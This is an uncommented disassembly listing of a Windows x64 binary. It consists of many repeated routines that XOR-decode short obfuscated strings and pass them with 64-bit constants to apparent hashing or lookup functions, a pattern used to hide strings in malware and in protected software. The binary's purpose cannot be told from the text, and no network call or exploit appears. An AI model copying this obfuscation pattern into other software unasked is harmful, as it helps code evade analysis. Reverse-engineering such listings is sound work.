mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x140442803]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x2d5b53017e5cfaa6
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.140140365
and word [rsi + 4], 0
and dword [rsi], 0
mov dl, 1
lea rcx, [0x140446f13]
test dl, 1
je 0x140127276
movzx edx, byte [rbx + rcx]
mov r8, rbx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r9, rbx
or r9, 3
mov r10, rbx
or r10, 2
movzx r10d, byte [r10 + rcx]
movzx r9d, byte [r9 + rcx]
shl r9d, 0x18
shl r10d, 0x10
shl r8d, 8
or r8d, edx
or r8d, r10d
or r8d, r9d
xor r8d, dword [rax + rbx]
mov dword [rsp + rbx + 0x30], r8d
mov ebx, 4
xor edx, edx
jmp 0x140127222
movzx ebx, word [rax + 4]
xor ebx, 0xa205
mov ebp, dword [rsp + 0x30]
xor edi, edi
mov ecx, 6
xor edx, edx
call fcn.1401674a3
mov word [rax + 4], bx
mov dword [rax], ebp
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 6
lea rax, [0x14043faea]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x527fd4cd478af433
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14014070c
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140446f19]
cmp rdi, 0x1f
ja 0x14012730e
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x1401272f5
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x140448621]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x833c188a832295e4
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013f0b0
and dword [rsi + 3], 0
and dword [rsi], 0
mov dl, 1
lea rcx, [0x140446f39]
test dl, 1
je 0x1401273f5
movzx edx, byte [rbx + rcx]
mov r8, rbx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r9, rbx
or r9, 3
mov r10, rbx
or r10, 2
movzx r10d, byte [r10 + rcx]
movzx r9d, byte [r9 + rcx]
shl r9d, 0x18
shl r10d, 0x10
shl r8d, 8
or r8d, edx
or r8d, r10d
or r8d, r9d
xor r8d, dword [rax + rbx]
mov dword [rsp + rbx + 0x30], r8d
mov ebx, 4
xor edx, edx
jmp 0x1401273a1
movzx ebx, byte [rax + 6]
movzx ebp, word [rax + 4]
xor ebp, 0xc47b
xor bl, 0xa3
mov r14d, dword [rsp + 0x30]
xor edi, edi
mov ecx, 7
xor edx, edx
call fcn.1401674a3
mov byte [rax + 6], bl
mov word [rax + 4], bp
mov dword [rax], r14d
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 7
lea rax, [0x14043e487]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xeaa69d8d794f6e65
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013fe8c
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140446f40]
cmp rdi, 0x1f
ja 0x140127499
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x140127480
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x14043954d]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xb71e365a6e849f31
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013e658
and dword [rsi + 8], 0
and qword [rsi], 0
mov dl, 1
lea rcx, [0x140446f60]
test dl, 1
je 0x1401275d3
movzx r8d, byte [rbx + rcx]
mov rdx, rbx
or rdx, 1
movzx edx, byte [rdx + rcx]
mov r9, rbx
or r9, 2
movzx r9d, byte [r9 + rcx]
mov r10, rbx
or r10, 3
movzx r10d, byte [r10 + rcx]
mov r11, rbx
or r11, 4
movzx r11d, byte [r11 + rcx]
mov rdi, rbx
or rdi, 5
movzx edi, byte [rdi + rcx]
mov r14, rbx
or r14, 6
mov r15, rbx
or r15, 7
movzx r14d, byte [r14 + rcx]
movzx r15d, byte [r15 + rcx]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rdi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rdi
or rdx, r14
xor rdx, qword [rax + rbx]
mov qword [rsp + rbx + 0x30], rdx
mov ebx, 8
xor edx, edx
jmp 0x14012752d
mov edx, 8
cmp rdx, 0xb
ja 0x140127606
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0xa6000000
xor r8d, dword [rax + rdx]
mov dword [rsp + rdx + 0x30], r8d
add rdx, 4
jmp 0x1401275d8
mov al, byte [rax + 0xc]
xor al, 0xd4
mov byte [rsp + 0x3c], al
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x2c0], rax
mov rax, qword [rsp + 0x35]
mov qword [rsp + 0x2c5], rax
xor edi, edi
mov ecx, 0xd
xor edx, edx
call fcn.1401674a3
mov rcx, qword [rsp + 0x2c0]
mov r8, qword [rsp + 0x2c5]
mov qword [rax], rcx
mov qword [rax + 5], r8
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 0xd
lea rax, [0x140438e14]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x83cdec13996ddffb
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013e765
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140446f6d]
cmp rdi, 0x1f
ja 0x1401276c4
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x1401276ab
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x140440f03]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x7f5794aee27e43aa
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013df75
and dword [rsi], 0
mov byte [rsi + 4], 0
mov dl, 1
lea rcx, [0x140446f8d]
test dl, 1
je 0x1401277ab
movzx edx, byte [rbx + rcx]
mov r8, rbx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r9, rbx
or r9, 2
mov r10, rbx
or r10, 3
movzx r9d, byte [r9 + rcx]
movzx r10d, byte [r10 + rcx]
shl r10d, 0x18
shl r9d, 0x10
shl r8d, 8
or r8d, edx
or r8d, r9d
or r8d, r10d
xor r8d, dword [rax + rbx]
mov dword [rsp + rbx + 0x30], r8d
mov ebx, 4
xor edx, edx
jmp 0x140127757
mov bl, byte [rax + 4]
xor bl, 0xb8
mov ebp, dword [rsp + 0x30]
xor edi, edi
mov ecx, 5
xor edx, edx
call fcn.1401674a3
mov byte [rax + 4], bl
mov dword [rax], ebp
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 5
lea rax, [0x14044207d]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xde4543dde2dc2f13
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013e4e3
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140446f92]
cmp rdi, 0x1f
ja 0x14012783e
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x140127825
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x14043b7e3]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xe2f836c7529972fe
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.140140c6d
and word [rsi + 4], 0
and dword [rsi], 0
mov dl, 1
lea rcx, [0x140446fb2]
test dl, 1
je 0x140127926
movzx edx, byte [rbx + rcx]
mov r8, rbx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r9, rbx
or r9, 3
mov r10, rbx
or r10, 2
movzx r10d, byte [r10 + rcx]
movzx r9d, byte [r9 + rcx]
shl r9d, 0x18
shl r10d, 0x10
shl r8d, 8
or r8d, edx
or r8d, r10d
or r8d, r9d
xor r8d, dword [rax + rbx]
mov dword [rsp + rbx + 0x30], r8d
mov ebx, 4
xor edx, edx
jmp 0x1401278d2
movzx ebx, word [rax + 4]
xor ebx, 0x8ffe
mov ebp, dword [rsp + 0x30]
xor edi, edi
mov ecx, 6
xor edx, edx
call fcn.1401674a3
mov word [rax + 4], bx
mov dword [rax], ebp
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 6
lea rax, [0x14043ca48]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x9ee1219743ee0778
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.1401410ad
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140446fb8]
cmp rdi, 0x1f
ja 0x1401279be
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x1401279a5
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x14043eff3]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x6df42347f7b3407a
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.1401400cd
and word [rsi + 4], 0
and dword [rsi], 0
mov dl, 1
lea rcx, [0x140446fd8]
test dl, 1
je 0x140127aa6
movzx edx, byte [rbx + rcx]
mov r8, rbx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r9, rbx
or r9, 3
mov r10, rbx
or r10, 2
movzx r10d, byte [r10 + rcx]
movzx r9d, byte [r9 + rcx]
shl r9d, 0x18
shl r10d, 0x10
shl r8d, 8
or r8d, edx
or r8d, r10d
or r8d, r9d
xor r8d, dword [rax + rbx]
mov dword [rsp + rbx + 0x30], r8d
mov ebx, 4
xor edx, edx
jmp 0x140127a52
movzx ebx, word [rax + 4]
xor ebx, 0x30fe
mov ebp, dword [rsp + 0x30]
xor edi, edi
mov ecx, 6
xor edx, edx
call fcn.1401674a3
mov word [rax + 4], bx
mov dword [rax], ebp
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 6
lea rax, [0x140441fec]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xe17588affeb711ed
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013fb83
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140446fde]
cmp rdi, 0x1f
ja 0x140127b3e
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x140127b25
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor r14d, r14d
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rbx, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea rdi, [rsp + 0x110]
mov rcx, rbx
mov r8, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rbx]
mov rdx, qword [rbx + 8]
call fcn.1400a290b
lea rax, [0x14043f8e8]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x1320e251f7a2399f
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.140140b5d
movzx ebx, byte [rax + 2]
movzx ebp, word [rax]
xor ebp, 0x5b9a
xor bl, 0xed
mov ecx, 3
xor edx, edx
call fcn.1401674a3
mov byte [rax + 2], bl
mov word [rax], bp
mov qword [rdi], rax
mov qword [rdi + 8], rdx
mov qword [rdi + 0x10], 3
lea rax, [0x140444f02]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x96844d67de13695e
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013e296
pxor xmm0, xmm0
movdqa xmmword [rsi + 0x10], xmm0
movdqa xmmword [rsi], xmm0
lea rcx, [0x140446ffe]
cmp r14, 0x1f
ja 0x140127c45
mov rdx, qword [r14 + rcx]
xor rdx, qword [rax + r14]
mov qword [rsp + r14 + 0x30], rdx
add r14, 8
jmp 0x140127c2c
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x14043fea5]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xb784eaecc02d4a33
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013f844
and word [rsi + 4], 0
and dword [rsi], 0
mov dl, 1
lea rcx, [0x14044701e]
test dl, 1
je 0x140127d2d
movzx edx, byte [rbx + rcx]
mov r8, rbx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r9, rbx
or r9, 3
mov r10, rbx
or r10, 2
movzx r10d, byte [r10 + rcx]
movzx r9d, byte [r9 + rcx]
shl r9d, 0x18
shl r10d, 0x10
shl r8d, 8
or r8d, edx
or r8d, r10d
or r8d, r9d
xor r8d, dword [rax + rbx]
mov dword [rsp + rbx + 0x30], r8d
mov ebx, 4
xor edx, edx
jmp 0x140127cd9
movzx ebx, word [rax + 4]
xor ebx, 0x48bb
mov ebp, dword [rsp + 0x30]
xor edi, edi
mov ecx, 6
xor edx, edx
call fcn.1401674a3
mov word [rax + 4], bx
mov dword [rax], ebp
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 6
lea rax, [0x14043cc4e]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xe87a2aa527249f9
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140140e56
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140447024]
cmp rdi, 0x1f
ja 0x140127dc5
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x140127dac
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x14043d04b]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x344b78b1a7008503
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013ec1c
and dword [rsi], 0
mov byte [rsi + 4], 0
mov dl, 1
lea rcx, [0x140447044]
test dl, 1
je 0x140127eac
movzx edx, byte [rbx + rcx]
mov r8, rbx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r9, rbx
or r9, 2
mov r10, rbx
or r10, 3
movzx r9d, byte [r9 + rcx]
movzx r10d, byte [r10 + rcx]
shl r10d, 0x18
shl r9d, 0x10
shl r8d, 8
or r8d, edx
or r8d, r9d
or r8d, r10d
xor r8d, dword [rax + rbx]
mov dword [rsp + rbx + 0x30], r8d
mov ebx, 4
xor edx, edx
jmp 0x140127e58
mov bl, byte [rax + 4]
xor bl, 0x5b
mov ebp, dword [rsp + 0x30]
xor edi, edi
mov ecx, 5
xor edx, edx
call fcn.1401674a3
mov byte [rax + 4], bl
mov dword [rax], ebp
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 5
lea rax, [0x140441688]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xee7255d72517267
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013ec48
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140447049]
cmp rdi, 0x1f
ja 0x140127f3f
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x140127f26
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x1404410ef]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xf7f55ad9339130ec
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013e0e9
and word [rsi + 4], 0
and dword [rsi], 0
mov dl, 1
lea rcx, [0x140447069]
test dl, 1
je 0x140128027
movzx edx, byte [rbx + rcx]
mov r8, rbx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r9, rbx
or r9, 3
mov r10, rbx
or r10, 2
movzx r10d, byte [r10 + rcx]
movzx r9d, byte [r9 + rcx]
shl r9d, 0x18
shl r10d, 0x10
shl r8d, 8
or r8d, edx
or r8d, r10d
or r8d, r9d
xor r8d, dword [rax + rbx]
mov dword [rsp + rbx + 0x30], r8d
mov ebx, 4
xor edx, edx
jmp 0x140127fd3
movzx ebx, word [rax + 4]
xor ebx, 0xa8ba
mov ebp, dword [rsp + 0x30]
xor edi, edi
mov ecx, 6
xor edx, edx
call fcn.1401674a3
mov word [rax + 4], bx
mov dword [rax], ebp
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 6
lea rax, [0x140444efc]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xc28bcb438bec52cb
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013dadf
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x14044706f]
cmp rdi, 0x1f
ja 0x1401280bf
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x1401280a6
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x140443c7a]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xd03707d7aa3d21e1
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14014094d
and qword [rsi], 0
mov r8b, 1
lea rcx, [0x14044708f]
movabs rdx, 0x2900000000000000
test r8b, 1
je 0x1401281f3
movzx r9d, byte [rbx + rcx]
mov r8, rbx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r10, rbx
or r10, 2
movzx r10d, byte [r10 + rcx]
mov r11, rbx
or r11, 3
movzx r11d, byte [r11 + rcx]
mov rdi, rbx
or rdi, 4
movzx edi, byte [rdi + rcx]
mov r14, rbx
or r14, 5
movzx r14d, byte [r14 + rcx]
mov r15, rbx
or r15, 6
movzx r15d, byte [r15 + rcx]
shl r15, 0x30
shl r14, 0x28
shl rdi, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rdi
or r8, r14
add r8, rdx
or r8, r15
xor r8, qword [rax + rbx]
mov qword [rsp + rbx + 0x30], r8
mov ebx, 8
xor r8d, r8d
jmp 0x14012815a
mov rbx, qword [rsp + 0x30]
xor edi, edi
mov ecx, 8
xor edx, edx
call fcn.1401674a3
mov qword [rax], rbx
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 8
lea rax, [0x140448b94]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x1561021f6e651481
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013de27
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140447097]
cmp rdi, 0x1f
ja 0x14012827f
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x140128266
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x140443ff7]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x24466727e452102f
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.1401402f0
and dword [rsi + 3], 0
and dword [rsi], 0
mov dl, 1
lea rcx, [0x1404470b7]
test dl, 1
je 0x140128366
movzx edx, byte [rbx + rcx]
mov r8, rbx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r9, rbx
or r9, 3
mov r10, rbx
or r10, 2
movzx r10d, byte [r10 + rcx]
movzx r9d, byte [r9 + rcx]
shl r9d, 0x18
shl r10d, 0x10
shl r8d, 8
or r8d, edx
or r8d, r10d
or r8d, r9d
xor r8d, dword [rax + rbx]
mov dword [rsp + rbx + 0x30], r8d
mov ebx, 4
xor edx, edx
jmp 0x140128312
movzx ebx, byte [rax + 6]
movzx ebp, word [rax + 4]
xor ebp, 0x2140
xor bl, 0xbb
mov r14d, dword [rsp + 0x30]
xor edi, edi
mov ecx, 7
xor edx, edx
call fcn.1401674a3
mov byte [rax + 6], bl
mov word [rax + 4], bp
mov dword [rax], r14d
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 7
lea rax, [0x1404425b2]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x48fbe539904b0ec0
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14014127b
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x1404470be]
cmp rdi, 0x1f
ja 0x14012840a
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x1401283f1
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x14043be1e]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x57d81aa8bda6b6fb
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013e6d3
and dword [rsi + 8], 0
and qword [rsi], 0
mov dl, 1
lea rcx, [0x1404470de]
test dl, 1
je 0x140128544
movzx r8d, byte [rbx + rcx]
mov rdx, rbx
or rdx, 1
movzx edx, byte [rdx + rcx]
mov r9, rbx
or r9, 2
movzx r9d, byte [r9 + rcx]
mov r10, rbx
or r10, 3
movzx r10d, byte [r10 + rcx]
mov r11, rbx
or r11, 4
movzx r11d, byte [r11 + rcx]
mov rdi, rbx
or rdi, 5
movzx edi, byte [rdi + rcx]
mov r15, rbx
or r15, 7
mov r14, rbx
or r14, 6
movzx r14d, byte [r14 + rcx]
movzx r15d, byte [r15 + rcx]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rdi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
